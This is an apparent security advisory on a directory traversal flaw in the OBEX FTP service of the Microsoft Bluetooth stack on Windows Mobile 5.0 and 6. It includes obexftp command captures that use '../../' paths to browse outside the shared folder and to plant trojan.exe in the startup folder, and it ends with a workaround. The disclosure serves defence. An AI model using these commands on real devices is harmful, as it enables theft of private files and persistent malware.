Title: Microsoft Bluetooth Stack OBEX Directory Traversal Author: Alberto Moreno Tablado Vendor: Microsoft Vulnerable Products: Windows Mobile 6 Professional Probably Windows Mobile 5.0 for Pocket PC Probably Windows Mobile 6 Classic Probably Windows Mobile 5.0 for Pocket PC Phone Edition Probably Windows Mobile 6 Standard Probably Windows Mobile 5.0 for Smartphone Non vulnerable products: Windows Mobile devices 5.0 and 6 using Widcomm/Broadcom Bluetooth Stack References: http://www.seguridadmobile.com/windows-mobile/windows-mobile-security/Microsoft-Bluetooth-Stack-Directory-Traversal.html Description: Most Windows Mobile 5.0 & 6 devices are shipped with Microsoft Bluetooth stack, only few of them use others (like Widcomm Bluetooth stack). Among all the Bluetooth services that may be implemented in the stack, OBEX FTP is the most common service. OBEX FTP Bluetooth service can be used to share files through Bluetooth, not only by sending files but also by allowing remote devices to browse local shared folders and download files. gospel@gospel-shift:~/bluez$ hcitool scan Scanning ... 00:17:83:02:BA:3C P6300 gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l Browsing 00:17:83:02:BA:3C ... Channel: 4 Connecting...done Receiving "(null)"... done Disconnecting...done gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -g "/nota.pwi" Browsing 00:17:83:02:BA:3C ... Channel: 4 Connecting...done Receiving "/nota.pwi"... Sending ""... done done Disconnecting...done gospel@gospel-shift:~/bluez$ Usually, the service is configured in such a way that a specific directory is shared and the user can place there all the files he would like to share with other people. The default directory is My Device\My Documents\Bluetooth Share. A different directory may be selected by the user, however the Bluetooth wizard usually doesn't allow specifying any other from the filesystem out of My Device\My Documents\ or Memory Card\My Documents\ paths. This is because of safety reasons, so the user can't expose sensitive files or information through Bluetooth. There exists a Directory Traversal vulnerability in the OBEX FTP Service in Microsoft Bluetooth Stack implemented in Windows Mobile 5.0 & 6 devices. A remote attacker (who previously owned authentication and authorization rights) can use tools like ObexFTP or gnomevfs-ls to traverse to parent directories out of the default Bluetooth shared folder by using the ../ or ..\\ marks. This means the attacker can browse folders located on a lower level, download files contained in those folders as well as upload files to those folders. The only requirement is that the attacker must have authentication and authorization privileges over the OBEX FTP service. Pairing up with the remote Windows Mobile device should be enough to get it. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user. As described above, the attacker can take three risky actions: - Browse directories located out of the limits of the default shared folder and discover sensitive information about the structure of the filesystem. gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../My Documents/" Browsing 00:17:83:02:BA:3C ... Channel: 4 Connecting...done Receiving "../../My Documents/"... Sending ".."... Sending ".."... Sending "My Documents"... done done Disconnecting...done gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Tarjeta de Almacen./My Documents/" Browsing 00:17:83:02:BA:3C ... Channel: 4 Connecting...done Receiving "../../Tarjeta de Almacen./My Documents/"... Sending ".."... Sending ".."... Sending "Tarjeta de Almacen."... Sending "My Documents"... done done Disconnecting...done gospel@gospel-shift:~/bluez$ - Download sensitive files located anywhere in the filesystem, such as personal pictures and documents, emails located in \Windows\Messaging or Contacts+Calendar+Tasks information included in \PIM.vol. gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l "../../Windows/Messaging" Browsing 00:17:83:02:BA:3C ... Channel: 4 Connecting...done Receiving "../../Windows/Messaging"... Sending ".."... Sending ".."... Sending "Windows"... done done Disconnecting...done gospel@gospel-shift:~/bluez$ - Upload malicious files like trojans to any place in the filesystem, such as \Windows\Startup. In the following capture, the attacker firstly lists the default Bluetooth shared folder. After that, the attacker puts a trojan.exe file in the \Windows\Startup folder. gospel@gospel-shift:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c "../../Windows/Inicio" -p trojan.exe Browsing 00:17:83:02:BA:3C ... Channel: 4 Connecting...done Sending ".."... Sending ".."... Sending "Windows"... Sending "Inicio"... done Sending "trojan.exe"...\done Disconnecting...done gospel@gospel-shift:~/bluez$ The trojan file will be executed the next time Windows Mobile inits. Workaround: Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list. Wait for proper vendor response and updates.